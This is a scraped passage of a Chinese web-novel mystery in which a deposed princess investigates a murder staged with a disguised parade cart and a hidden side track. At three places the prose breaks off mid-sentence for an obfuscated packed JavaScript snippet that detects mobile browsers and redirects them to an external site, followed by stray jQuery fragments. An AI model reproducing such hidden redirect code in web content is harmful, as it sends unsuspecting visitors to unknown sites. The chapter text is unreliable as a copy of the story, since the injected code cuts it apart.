裴瑾正在思考,李筠节突然一拍脑袋,欣喜道:“咦,会不会是车辆被换掉了?就是说陈渊渟死的这辆车,其实根本就不是第一辆?” 李贵抬手给了他一个脑瓜崩:“这怎么可能?只有第一辆车是月白色且有龙凤纹,而且从发车开始我们便一直盯着,怎么可能调包?何况这是轨道花车,只能朝一个方向行驶。” 事情透着诡异,暂时摸不到头绪。 李贵吩咐人将陈渊渟的尸体带回悬案司,命令属下将花车和轨道附近都看守起来,不许旁人接近。 听闻陈渊渟遇害,对陈家人来说,更是雪上加霜。 抱着既同情又怀疑的态度,李贵和赵倚歌去了陈府。 裴瑾带着张煦留在花车巡游现场。 现场百姓疏散得差不多了,只有一些难过得不能自已的姑娘,仍在远处哭泣。 裴瑾回忆着陈渊渟死时的模样:颈部勒痕干涸结痂,颜色暗淡;面部淤血发暗干涩;躯干尸斑按压不退;尸僵明显。 按此推断,陈渊渟应已死亡超过五个时辰——应是昨夜或今晨。 那之前花引官看到的戴面具之人是谁? 此人嫌疑极大,不是凶手也必有关联。 悬案司三人都未发现死亡时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936875|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间异常,裴瑾也不欲声张。当时在场者众多,难保凶手不混迹其中。 她唤来花引官再仔细询问。 花引官描述来人身高体型时,裴瑾总觉有种熟悉感,却一时想不起。 陈渊渟早死是事实,今日花引官所见之人绝非他。 此人明明上了第一辆车,为何会无故失踪?且花车巡游顺序固定,中途无法上下车。 “凶手定用了某种手法掩盖真相。”裴瑾从第一辆车开始仔细检查。 张煦陪同道:“殿下可是觉得花车有问题?” “我怀疑车辆被调包了。” “那需要重点检查何处?” “不知,随便看看。”裴瑾笑道:“十七你如此相信我?方才李筠节提调包时,我们不是已排除这种可能?” 张煦轻咳一声:“殿下自有道理,定是有些手法常人想不到。” 裴瑾噗嗤一笑:“没想到,裴十七大人也学会溜须拍马了?” 张煦沉默,这话他没法接。 裴瑾眨眨眼,转身继续检查车辆。 第一辆,第二辆,第三辆,一直到第八辆,每辆车的大小相近,制式相同,除了颜色和车壁上的花纹,其余几乎一致。 这八辆车,除了正常的磨损,好像都没有什么异常。 她不甘心,继续检查后面的。 后面乘坐的是百姓,足足有三十二辆,检查起来就更加费功夫了。 裴瑾检查得很仔细,不知不觉暮色低垂,天边翻涌着浓黑的云层,看来一会儿将要下暴雨。 “殿下快要下雨了,要先回府吗?”张煦出声提醒。 殿下工作起来,完全不注意自己身体。 由于长时间上下车查看车轮、车壁、车辕,裴瑾白皙的手,染上不少污渍,脸也像只花猫;发丝潮湿地贴在额头上,好看的衣裙沾染了污泥。 山雨欲来风满楼,天边卷起黑云,殿下太过投入,还没吃晚餐。 想到她总是不舒服的肠胃,张煦还是忍不住出声提醒道:“殿下,您还没有用晚膳。” 裴瑾这才回过神来,她看看天边,低声道:“暴雨可以冲刷掉所有的痕迹,洗去罪恶。” “什么?” “十七我们要快了,我有一种预感,若是等这场暴雨下下来,便什么痕迹都没有了。” 裴瑾没有回去,张煦只好跟着她一起加快速度检查。 眼见着天越来越暗,云层越来越厚,裴瑾的动作也不由地变得急促起来。 第九辆,第十辆,第二十辆,第三十辆。 豆大的雨点已经打在两人身上,四周的城民也散了个干净,就连守卫也找了屋檐避雨。 雨中只剩下裴瑾和撑着油纸伞的张煦。 蜀郡的雨又大又急,一把纸伞根本遮挡不了。 “殿下,回去吧。” 他不知道殿下这一次是不是想错了。 不过顶着这么大的雨,人肯定难受。他是个习武之人,并无大碍,可殿下身体本就不好,何至于此? 第四十辆…… 最后一辆。 回应他的是裴瑾惊喜的声音:“十七,你快看!” 他看到殿下如玉的手指上粘着一块月白色的染料。 殿下狼狈极了,长发粘着脸颊贴着后背,湿透的衣衫让她整个人显得十分单薄,像个纸片似的,一吹就走。 张煦不自觉地挡在她身前,雨伞完全遮挡在她头顶。 低头间,那双圆圆的眼睛里闪着惊人的光芒,她得意地说:“还不是逃不出我的手心,嘿嘿。” 张煦被那笑容感染,也不自觉地笑了。 14. 头车尾车 暴雨来得快,去得也快。 裴瑾招呼着官兵将最后一辆车遮挡起来,还没折腾完,雨就已经停了。 她淋了不少雨,松了松鼻子打了个喷嚏,丝毫不介意自己落汤鸡一样的形象,继续观察这辆车的细节。 花车车缝中有不少粉屑,裴瑾触摸后,指尖上粘了一层滑滑的白色痕迹,食指与拇指轻搓后发现,这不是正常的车漆。 大部分的粉已经脱落,但是在窗帘边角、浮雕边缘以及车轴的缝隙中仍留有少量白屑。 这是粉饰常用的白垩粉,遇水极易脱落。裴瑾猜测这是凶手用来打底的颜料,人为粉刷出月白色的车壁。 车壁上除了残留的白色,还有一些隐隐的蓝色纹理。 裴瑾直接扯过自己的衣袖,往车壁上一擦,衣袖上粘着的蓝色纹理隐约可见是龙爪和凤尾。 也就是说有人用遇水掉色的青花颜料勾勒了龙凤纹,在湿润之后逐渐模糊消失。 观其色泽,应该是靛青粉。 “十七,你有没有闻到一股奇怪的味道?” 张煦作为习武之人,五感强于常人,他很肯定地说:“很淡的馊味,像是潮湿的米浆。” 裴瑾俯身钻下车底,张煦根本没来得及拦住她。 “殿下你……” 公主殿下真是不拘小节。 “十七,十七,你快过来,你闻闻是不是这个味儿?” 裴瑾指着车底和扶手接缝处。 张煦无奈,只好俯身前去,的确如此,车底和接缝处的味道更浓。 “是这个味道,殿下,这是什么?” 裴瑾从车底钻出来,张煦赶紧扶住她。 殿下现在像只落水小狗,浑身湿漉漉的,好好的衣服搞得脏兮兮的,头发也乱七八糟。 她双眼明亮逼人:“我仔细闻了一下,应该是明矾水和鱼胶。” “明矾水和鱼胶?” 明矾水常用于布帛染色,是一种固色剂,但是低浓度会使得染色不均,导致粘附不稳定,所以除了染色还可以用来制作可溶层。 鱼胶也是一种粘合剂,用于附着染料,但是在水雾中极易软化剥落。 这么来看…… 情况已经很明了了。 现场应该有两辆头车。 花引官见到的那个人,进的应该就是这辆车,而死者陈渊渟一直都在第一辆车上。 也就是说凶手先将车伪装成头车的颜色和花纹,利用潮湿的空气,使花纹褪色还原成后面车的样子。 但这个操作有难度。 首先需要一个有水汽的环境;其次,白垩粉和靛青粉虽然遇水容易掉色,但也不会立刻全部掉光,所以要实现这个方案,必须有人配合主动擦拭车壁。 裴瑾想到了花引官说的那个戴着面具的男子,那个人就是配合擦掉车厢颜色的人。 “首先可以确定的是,早上花引官见到的是假陈渊渟。” “什么?” 张煦不是专业仵作,并没有发现这个时间问题。 裴瑾简单解释: 刚死之人,颈部勒痕鲜明或略微暗红有渗血;面色紫红,嘴唇青紫;躯干尚有温度,即便有尸斑也是按压可退。 而陈渊渟的颈部勒痕干涸结痂,颜色暗淡;面部有淤血,干涩;躯干冰凉,尸斑按压不退。 显然是已经死亡超过五个时辰。 “殿下的意思是说陈渊渟早就死了,而早上的人是假扮的?” “没错。”裴瑾又将用可溶颜料伪装头车的分析告诉了张煦。 张煦听后,皱眉不语。 “十七可是有什么想法?” 张煦抱剑而立,半个身子靠在车壁上:“属下有三个疑问。” “唉,我现在是庶人十七,您是官老爷怎么能自称属下了呢。”裴瑾按住车辕一跃,张煦怕她撞到车上,赶紧起身扶她。结果本人已经稳稳当当坐在车辕上,盘着腿,一只手撑在膝盖上,另一只手撑着自己的脸颊,笑眯眯地看着他了。 好好的思考就被殿下这么打乱了。 “快说快说,是何疑问?” 张煦看她乐呵呵一副快来问我的样子,叹了一口气:“其一,两辆头车一定会被人发现;其二,假陈渊渟进入的确实是花车巡游的第一辆,那么另外一辆在何处?其三,若头车是假车,褪色之后又是怎样退回到尾车的位置的呢?” 裴瑾叉着腰,绕着车走了好几圈,喃喃自语:“整条路中哪里最潮湿?” “云海画廊。”张煦说完又摇头否定,画廊里也只能朝同一个方向行驶,并没有机会可以交换车辆。 裴瑾显然也想到了这一点,不过事情既然已经发生,凶手一定是用了某种障眼法,实地考察最为重要。 “走,我们去看看。” 云海画廊位于整条巡游路线的中段处,依山而建,画廊两边是山壁,花车在其中穿过,行驶时,没有行人能并行通过的空间。 山壁上雕刻着栩栩如生的浮雕壁画,巡游之时,壁画周围挂满了花灯,花灯在山壁上又投下剪影,交相辉映。 画廊间蒸腾的雾气,是隐藏在山壁上,一排排水炉子蒸腾出的水汽做成的。 现在这些炉子里的火已经烧光,雾气也散了个干净。 天色很暗,山壁上的花灯燃油燃尽,也熄灭了。裴瑾和张煦拿出火折子,借着微光探索起来。 他俩沿着云海画廊走了两遍,也没有找到可以调转车头,交换车辆的地方。 就在两人准备放弃的时候,裴瑾突然发现,云海画廊终点处,有一段铜轨的反光很是异常,她拿着火折子蹲了下来。 “咦,这段铜轨的磨损十分严重,十七,你来看看。” “不错,而且右侧磨损远远胜过左侧。” “快在这附近看看有什么异常。” 两人在云海画廊终点处勘察起来,他们来来回回查了几遍,穹顶是掏空的山壁,左侧是镂空的石岩,外侧挂着灯笼,右侧贴着山壁。 好像没有什么特别奇怪的地方。 没有奇怪的事,便是最奇怪的事。 一段寻常的路,为何右侧铜轨的磨损程度远远超过了左侧? 裴瑾靠在山壁上思考。 “咚咚”一声,这声音不对劲。 “殿下?”张煦看向裴瑾。 他从对方眼中看到了同样的光芒——山壁后面是空的! 这有大问题,裴瑾兴奋起来。 “咚咚咚。” “好了十七,我知道这后面是空的,你别敲了。” “我没敲,殿下。” “咚咚咚”,轰隆声越来越响,在狭窄的山壁里不断产生回响,越来越近,是又有花车进来了! 花车不是都停在云海画廊外面了吗?为什么会有花车从入口进来? 之前说过云海画廊里面很狭窄,只容得下花车经过,若此时花车过来,裴瑾两人非死即伤。 有人想杀人灭口?! 这是裴瑾腾空前最后的想法,等她反应过来的时候,她已经被张煦扛在肩上飞出了云海画廊。 她失声尖叫,可惜刚一张嘴就灌了一肚子风,又给噎了回去。 她只能拍打张煦的背,让他停下来。 甫一落地,一阵咳,把肚子里的气都咳了出来。 看向云海画廊终点,一辆花车缓缓驶出。 靠,怎么是她? “赵评事,你这个时候怎么在这儿?”裴瑾脸色不太好,她想过很多人,但没想到竟然是赵倚歌。 她和凶手有关系吗? “殿下赎罪,您没事儿吧?”赵倚歌急停花车,在云海画廊拱门处急匆匆跑下车。 她跑到裴瑾面前,看公主没事儿,才缓缓吐出一口气。 裴瑾仔细地看着赵倚歌的一举一动。 “赵大人深夜到此,可是想将我和十七撞成肉饼?” “殿下赎罪。” 一阵沉默。 “没了?”裴瑾还等着她解释,看看她话语间的漏洞,结果这赵评事倒好,一句恕罪就结束了。 她给气笑了:“赵评事半夜坐着花车是在干什么?” 赵倚歌摸了摸鼻子:“殿下做什么,在下就在做什么。” “哟,还挺有脾气。”这是在说若她赵倚歌想行不轨之事,那么裴瑾也好不到哪儿去。 牙尖嘴利。 “我可没有半夜上车,差点碾死两个无辜之人。” 赵倚歌看她不解释清楚,公主是不会罢休了,想了想,决定和盘托出。 “陈渊渟死于花车巡游之前,所以我断定花引官看到的面具人并非真正的陈公子。我想这花车定有蹊跷,于是半夜乘坐,看看有什么不对。” 裴瑾将赵倚歌上下打量了一番,没想到这赵评事也看出了死亡时间不对,却引而不发。这是为何?是她做贼心虚还是在防着谁? 裴瑾按下不表,只是接着话说:“那赵评事可有发现什么不妥?” “有,刚刚花车路过那个位置的时候,发出很轻微的一声‘咔哒’。” 咔哒声?难道白日里别人听不见吗? 是了,白日里花车巡游热闹得很,四周都是人,前前后后又有许多车辆,轻微的声音确实很容易被掩盖。 裴瑾问赵倚歌是在哪里发现咔哒声的,赵倚歌指了指花车背后不远处。 裴瑾看着她指的地方,咦,这不正是铜轨磨损之处吗? 她和张煦对视了一眼,三个人齐齐往终点处走。 但快要走到拱门之时,她忽然想起了什么。 “十七,你去侧面看看,能否看见花车。” “殿下的意思是?” “去轨道外面,居民围观之处,看看能否看到赵评事急停的花车。” 张煦并不知道公主想到了什么,但是他很快就飞身走到远处。 怪事发生了,他不管是从左右前后都没有看到花车。 只有在轨道上的时候,能看到花车在拱门之下,而围观之处观察,花车却被拱门遮挡。 他把这一发现告诉了裴瑾。 “原来是这样……我好像知道陈渊渟是怎么死的了,还有最后一个地方,赵评事你带我们去发出异响的地方看看。” 赵倚歌将两人带到了铜轨磨损处附近说道:“就是这一段路的某个位置,更精确的地方,天色暗淡,下官实在记不清了。” 果然是在这里。 可是裴瑾刚刚和十七明明检查过,并无异样。 赵倚歌却说听到了咔哒声。 咔哒声。 应该是花车和轨道产生的。 裴瑾直直走向磨损处,“啪叽”一下,趴在了轨道上。 “殿下……”张煦已经习以为常了。 “殿下您这是?!万万不可!”第一次见此情景的赵倚歌,差点惊得眼珠子掉下来。 公主殿下如此不拘小节的吗? “火折子,十七。”裴瑾伸出一只手,另一只骨节分明的手将火折子递给了她。 裴瑾借着火折子的光仔细地观察这段铜轨: 这个铜轨的切面,像一个“工”字,也就是上下宽中间窄。 她之前和裴十七观察的时候,只是看了表面和底层,确实没有发现什么异常。 不过当她趴在铜轨上,用火折子看向轨道的侧面时—— 原来是这样。 铜轨侧面隐蔽着两条低一些的铜条,它们的宽度略短于铜轨表层,所以他们站着的时候并没有看到。 这两条铜条是用来做什么的呢? 咔哒声。 似乎与花车有关。 “十七你看看这里,你用武功使劲拍打此处试试?” 张煦蹲了下来,此时他也看到了这两条铜条,心道不愧是殿下。 他很听话,运气于掌,丹田催内力从掌根发出,使劲拍向两条短一些的铜条。 有烈烈风声从掌间挥出。 裴瑾和赵倚歌都睁大着眼睛,期待奇迹的发生。 …… 很尴尬,没有反应。 “嗯,这个可能是力气不够,十七你要不尽全力试试?” 张煦沉默。 赵倚歌有些不信任地说道:“莫非裴大人力气不够?” 张煦扯了扯嘴角,发现公主也用怀疑的目光看着他,不自然地说:“并非是在下力量不够,而是若用全力,铜轨可能会被在下毁去。我只是担心扰乱殿下的计划而已。” 赵倚歌呵呵一笑,没接话,男人嘛,总爱逞强。 裴瑾倒是认可,确实如此,这铜条并非是蛮力能解决的,应该和花车有一些联系才对,可能需要花车的配合。 她已经站起身来敲了敲右侧的墙壁。 “咚咚咚。” 这次赵倚歌也听见了。 “这是空的?”赵倚歌突然一拍脑袋,“我想起来了,这块山壁后面还有一条路!” “什么,仔细说说?” 赵倚歌告诉两人,因为花车自带动力,一开始不会在中途急停,每次需要修整花车的时候,都会将花车停到最低处,也就是渡口。 但渡口离升仙塔路程甚远,不够方便,所以当时的设计人老冯,在这云海画廊修了一条分轨,需要时,花车进入分轨,便于工匠们维修。 “那为何今日你们都说云海画廊只有一条路?”裴瑾脸色冷了下来,若是悬案司办案也透露假信息,那这案就没法破了。 别说平时公主看着和和气气总是带笑,脸色冷下来的时候还怪可怕的。 “殿下切勿生气,本是有分轨,但后来就废弃掉了。此处也被重新修葺,根本就打不开,所以现在确实只有一条路。” “为何废弃?” 赵倚歌解释说因为当时偶尔会有花车不小心滑入分轨,导致花车巡游出现错乱。 后来又在车上装了急停装置,花车可以停在任意地点进行修缮,所以为避免花车进入错误的轨道,于是这里便直接废弃掉了。 “也就是说此门是直接封死的,根本就打不开?” 裴瑾不以为然,反而认为这也许就是破局的关键。 她让张煦试着推了推山壁。 推不开。 当然她也不沮丧,显然这事儿没这么简单。 她将目光移向铜轨,也许这两者之间有一定的关联。 山壁、铜轨、花车。 裴瑾一把跳上张煦的背。 这一扑张煦纹丝不动,倒是裴瑾被他身上的肌肉给撞得生疼。 张煦没被撞倒,但耳根红了起来,平时冷静的人生硬地,一字一顿地问:“殿下,这是何意?” 裴瑾这才想起来自己有些唐突了,但管不了那么多,她刚刚有了灵感,双手搂着张煦的脖子急切地说:“十七你跑得快,快带我去最后一辆花车,快点,快点。” 张煦僵硬地扶住殿下的膝盖,心道,这是把他当马车了。 只能轻轻叹口气带人飞过去。 留下心里早已目瞪口呆,但表情管理极佳的赵倚歌。 一眨眼两人就回到了尾车的地方。 裴瑾不禁感叹,她之前怎么没发现裴十七这么好用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983813|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?早知道他有这么快的速度,上次去吃火锅抢位置排队的时候,就不会那么慢了。 这么想着她已经蹲了下来。 直奔花车的右侧车轮。 果然不出她所料,花车右侧车轮磨损严重,并且车轮与其他车的车轮都不同。 车轮外侧轮轴之间有向内的凸起。裴瑾比划了一下长度,这凸起刚好可以卡住铜轨下的铜条! 这得试验一下才知道。 不过之前所有的车应该都在云海画廊的下车处,赵倚歌那辆车是怎么搬上去的? 她问周围的官兵,他们告诉她是将花车卸下来,然后人力推上去的。 官兵们说起这事的时候,都苦着一张脸,显然赵评事不当人,把花车卸下来再推上去,费了不少功夫。 裴瑾理所应当地点点头,丝毫不觉得不好意思:“那便劳烦各位将这辆花车如法炮制。” 士兵们的脸更苦了。 没办法,还能怎么办?照办呗。 十来个官兵,和工匠一起把花车卸了下来,哼哧哼哧把最后一辆花车又推到了画廊入口处,再重新装上。 折腾了好久。 裴瑾跳上车辕,对张煦说:“十七你也上来。” “是,殿下。” “一会儿花车快到铜轨磨损处的时候,你注意看下有什么不对劲。” “嗯。” 两人说话间花车轻摇了一下,原来是赵倚歌,她也跟着爬上了花车。 “殿下不介意我也上车吧?” 多一个人,多点发现,裴瑾当然不介意。 花车在斜坡的作用下缓缓驶进云海画廊。 没有了烛火水雾的渲染,在清冷的月色下,听着铜轨车轮轻轻的摩擦声,还有山地间微微吹过的风声,整个场景显得十分诡异阴冷。 快到了,快到了。 “咔哒。” 一声轻微的咔嚓声响起,三个人都听得清清楚楚。 然而什么事情也没有发生,花车就这么顺顺利利地滑了过去,直到撞到之前赵倚歌急停的花车上。 “殿下,会不会是你想错了?”赵倚歌摸了摸下巴。 这辆花车运动的场景和她乘坐的花车是一样的,除了在刚刚的位置有一声咔嗒声之外,没有什么特别的异常。 至于那处铜轨的摩擦她也看到了,也许就是因为那个凸起的铜条,导致车轮右侧加重了摩擦,常年累月,所以就磨损严重。 裴瑾却摇摇头。 不对劲,首先,凶手肯定是调换了花车毋庸置疑,而此处最为可疑。 其次若是巧合,那为何只有最后这辆假头车的车轮处有凸起,而且其距离刚好与铜轨下的铜条相吻合?这绝对不是巧合。 一定是哪里不对。 她仔细回忆。 山壁、磨损的铜轨、铜轨下的铜条、特定的花车车轮、车轮上凸起、车轮上磨损的痕迹。 磨损的痕迹。 磨损…… 有了!什么情况下车轮会在一边的磨损,远远超过另一边呢? 压力! 是压力!两个物体相互摩擦,当用更大的力压住他们的时候,摩擦带来的损耗就会更大。 铜轨两侧的磨损程度不一样,说明右侧轮轴的压力应该是远远大于左侧的。 她唤来官兵,让他们将花车再次送回画廊入口处。 现在花车是最后一辆,倒不需要拆解下来。 但整条云海画廊都是斜坡,大家拖着花车逆行而上也是挺费劲的,并且此时已是深夜,官兵们都困得不行。 他们无比想念不管事儿的李大人,至少他们真的很少上夜班呢。 天哪,一个赵评事就已经够够的了,没想到又来了一个。管她是公主还是庶民,耽误他们休息,就都不是好人。 心里腹诽着,花车也被拉回了画廊入口处。 裴瑾上了花车,张煦准备跟上,裴瑾摇了摇头,示意他俯身过来,她低声说了几句。 张煦看向她,面带疑问,裴瑾点了点头。 于是张煦便离开了。 裴瑾对周围的官兵们说:“来几位结实的大哥,都坐到花车右侧的条凳上,多来几位。” 官兵们腹诽归腹诽,但人公主殿下不也还没有下班吗?这会儿请他们上车坐坐,他们也乐得休息,喜滋滋地就上了车。 没被点到名的还有点不开心。 裴瑾抿嘴笑了,大个子们挺质朴的。 有个官兵怯怯地伸出大手:“殿、殿下,左边真的不坐人吗?” 不怪他会这么问,左边空荡荡的条凳,右边挤了七八个大汉,着实有些渗人,不知道殿下葫芦里卖的什么药。 “不坐,委屈各位了,坚持一下。” “不委屈不委屈!” “殿下吩咐就是!” “就是就是,殿下不必客气!” “就是就是,多啷个不好意思嘞~” 几个大汉委委屈屈地挤在一起,脸上笑嘻嘻,嗯,精神状态不错。 花车开始启动,缓缓向前。 很快到了磨损处。 “咔哒。” 这次的声音与之前有所不同。 很快他们便觉得坐的花车突然向右一颠。 奇怪的事情发生了。 右侧好好的石壁开了一扇门,而石壁下方就是一条铜轨。 铜轨在“咔哒声”响的时候和本来花车所在的铜轨突然扭动相接,花车一个急转,从原来的轨道上脱轨而出,顺着新的轨道滑进了石墙里面! 所有人都是一阵惊呼。 “啷个回事?!” “妈耶,给老子的,哪个龟儿子撞我们车。”然后说话的人,看到裴瑾笑眯眯地看着他,赶紧闭上了嘴。 “你瓜哟,明明是我们撞到了机关!” “哦哟,黑死老子咯!” 人在惊讶的时候是不太会说官话的,于是整辆车里都弥漫着好听的蜀地方言。 花车进入的轨道是一个上坡,它载着一车人,速度越来越慢,越来越慢。 轻轻一颠,上了一个平台,然后彻底停住不动了,这停的位置似乎经过精密计算。 若是早些,就会上不了平台,顺着铜轨倒退回去;若是晚些,就直接越过平台又滑到了另外一边。 “好了,我们都下车看看吧。”裴瑾率先跳下了车。 这是云海画廊山壁背后。 几人陆续下车,手里都举着火把,将这后山照得灯火通明,也方便了裴瑾观察。四周杂草丛生,但铜轨却很光滑,上面的灰尘也不多。显然最近被人使用过。 这条分轨是一个“几”字型,从山壁进入之后是一个上坡,上坡之后是一段平路,他们的花车正停在这个平台上。再往前是一个下坡,而下坡末端处,是另一个山壁。 裴瑾虽然没前去查看,但她能猜到那个出口是在哪里。 她问赵倚歌:“赵评事,如果我所料不错的话,这个平台是用于之前中途休整花车的吧?” “是的。”赵倚歌无言,之前她还信誓旦旦地说这条路已经废弃,门也打不开,没想到竟然被人修成了机关。 “那么设计这条路的老冯现在何处?” 刚刚还有些窃窃私语的官兵们都沉默了。 “怎么了?” 赵倚歌抬眼看向裴瑾:“老冯他死了。老冯是姜大人的属下,当时姜大人剿匪,老冯也跟着去,所有人全军覆没。” 赵倚歌目光很沉,敏锐如她,突然发现这一切似乎都有一条看不见的线索,紧紧串联着。 15. 后山分轨 赵倚歌陷入沉默。 分轨的平台上散落着许多麻袋,袋子很干净,可以看出,刚被搬来不久。 裴瑾打开麻袋,里面密密麻麻装着石子,她伸手拎了拎,指尖泛白,拎不动。 这些麻袋的作用,她已心中有数。 同时,她在麻袋散落出还找到几张五颜六色的布料。 她顺着铁轨往下走,走到尽头,是封闭的石门。 她低头在轨道上探索起来,果不其然,在靠近石壁的铜轨上,找到了一个凸起,她轻轻一压,只听轰隆一声,面前的石门便开了。 石门外面几丈处,就是云海画廊终点的拱门。 她突然想起了什么,提起裙摆直奔陈渊渟所在的头车。 “殿下等等。” “当心脚下。”那位裴十七大人不在,赵倚歌可不敢看着公主乱跑,万一出了什么事情,可没法交代。 裴瑾在前面跑,赵倚歌和一众士兵在后面跟着追。 别看公主个子小,跑得倒挺快。 他们跑到时,看到公主在用力地撞击头车,不知道葫芦里卖的什么药。 “殿下这是何意,别伤着身体。”赵倚歌算是明白了,有剑痴、情痴,这公主呢,就是一个案痴,查起案子来什么都不管。 裴瑾回头,见大家都跟了上来。 “来了正好,来几位大哥帮忙撞击此车。” 虽然不懂她在卖什么关子,但为了早点下班,几位大哥非常用力。 这一撞,倒撞出了奇怪的事情,急停的花车竟然开动起来。 大家都很震惊。 “怎么可能?” “花车的急停装置,一是为了方便检修,二是为防突发状况,不可能如此轻易松动。”赵倚歌看着缓缓前进的头车暗自思索。 裴瑾吩咐人将花车停了下来。 上车查看急停装置,如她所料,这头车的急停装置处于一种半松动的状态。 使用时能停车,但稍微用力撞击就会松开。 那么事情到此,这一出“消失的凶手”的戏法便水落石出了。 “哎哟,我滴乖乖,你怎么把自己搞成这样?快快快,着凉了可怎么办!”急切的女声从远处传来,话音刚落,人已经到了裴瑾跟前。 是在家久等裴瑾不至,出来寻人的寒木。 后面跟着提着大包小包的张煦。 “殿下你要的东西买好了。”张煦找了两张空桌子,将买好的吃食都摆放好了。 裴瑾对寒木甜甜一笑:“木木稍等,马上就跟你回去,别着急。” 随后她对在场的官兵们说:“各位今夜都辛苦了,备了一些宵夜,大家吃完便下值去吧。” 那可是公主,即便是废公主,也不是官兵们平日能见到的。 公主不仅查案投入认真,还想着他们这些人,本来颇有微词的官兵,此刻都没了意见。 “多谢公主。” “谢过殿下。” 官兵们谢过之后,就三三两两吃了起来。 寒木拎着裴瑾回去洗漱泡热汤,赵倚歌也带着护卫离开。 “殿下你看看你,像泥潭里的猴儿打了滚,头发都打结了。刚热的姜汤你快喝,本就身体不好,这又是淋雨又是熬夜办案的,你再这么胡来,我可要写信告诉陛下。” “嗯哼,他现在可不是我爹。” “哎哟,公主别闹。” 裴瑾整个人裹在被子里,手里捂着汤婆子,长发披了一床,寒木正坐在床边给她梳理长发,一边梳一边碎碎念。 “好啦木木,我知道了,但是也不亏,我已经解开陈渊渟死亡的手法了,你想不想听?” “哦哟,不愧是我的殿下,这案子放其他地方,至少十年悬案,这才半天功夫,我们殿下就已经破解了!”相比寒木热烈的捧场,张煦只是将凳子往床这边拎了几步,静静坐下,侧耳倾听。 “首先,陈渊渟在花车巡游之前就已经死亡。” * 姜越坐在花车里,看着悬案司的人,在花车外虎视眈眈,心里把原主和悬案司都骂了个底朝天。 她本来只是好奇不放心,想上车一看,没想到就成了帮凶。 现在她要是下车嘿嘿一笑,说她没有杀人,鬼才相信。 花车离云海画廊越来越近,留给她的时间也不多了,她看了一下信中内容。 [亲爱的姜越,你所在的头车只是伪造,真正的头车装有陈渊渟的尸体,现在正在云海画廊终点的拱门处。] [你若是不按计划来,想想两辆头车出现在现场时,悬案司的反应吧,你以为你能够独善其身吗?] 威胁!绝对是威胁!原主真是个神经病,连自己也要算计进去。 姜越将信纸揉成一团,差点就丢出窗外,心里一口气不上不下,怒发冲冠——不能独善其身是吧?那两败俱伤又如何呢? 怒气冲冲掀开窗帘,她看到一路尾随的悬案司众人,又默默地泄了气,将纸团子打开继续看。 算了算了,都到这儿了,她还是先脱身为好。 其实她内心仍然抱有一丝不切实际的希望,也许这些信都不是原主留下的,而是有人要害她。 无论如何,哪怕希望再渺茫,也得先脱了身,才能去查明真相。 她继续看信。 [你所在的头车,表层涂有遇水可溶的染料,经过云海画廊水雾的浸润后会褪色。你需要在分轨平台上将残余的颜料擦洗干净。] 分轨?什么分轨?她带着满脑子疑惑继续往下看。 [条凳下方的柜子里放有许多麻袋。待你进入云海画廊后,将所有麻袋放在右边的车轮上,便可进入分轨。] 姜越低头打开柜门,果然发现了许多沉甸甸的麻袋。还好她拎得动,一袋一袋地全部拎到了右边,此时她所在的头车已经进入云海画廊,真是不给她留一点空闲时间啊。 只听咔嗒一声,她所在的头车一个急转,她悄悄掀开窗帘,发现整辆车已经进入了轨道旁边的后山。 而她一进入后山,身后的石门便关闭了,其余花车继续向前。 她本来担心会不会被后车发现,却通过车帘偶尔掀起的一角,发现后车似乎没有人在。 离谱!原主连第二辆车不上人都已经算到了? 伪造的头车已经进入分轨,第二辆车继续向前,到达云海画廊终点拱门时,只听砰的一声,第二辆车撞击到原本停在那里的真正头车上。 头车受到撞击,急停松动,这辆真正装着陈渊渟尸体的花车,便从云海画廊缓缓驶出。 姜越接着看信。 [进入分轨后,花车会上坡渐渐减速,直到到达平台停止。你需要将麻袋全部扔下车,并擦干净车轮、车壁上残余的染料。] 姜越着急忙慌地将麻袋全部扔出车外,并用抽屉里早已准备好的布料,就着水雾将车壁擦干净。 一边擦,她一边想着:原主都是哪里来的信息?既知道将花车染色,又知道这条奇怪的分轨机关,还知道第二辆花车没人? [其他花车路过分轨铜轨时,会有咔哒声。在你听到第三十五声以后,将车推下平台,出去时,刚好能接上最后一辆车车尾。] 咔哒声很微弱,但在后山分轨的姜越却听得十分清楚。她心里默默计算着数量,最后将车推下了平台。 于是她所在的花车,还原成后面最后一辆普通花车的样子,坠在末尾,完成了真假头车的交换。 姜越出来的时候现场已经乱了,她趁着官兵人手不足悄悄离开,她跟在人群里细细观察,却不想那位景小姐竟然在人群里扫视起来,她的视线无意中与其碰撞,对面锐利的眼睛让她大觉不好。 她移开视线赶紧离开。 * “给老子勒,为啥子凶手要故弄玄虚呢?” “迷惑我们还是制造不在场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029329|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 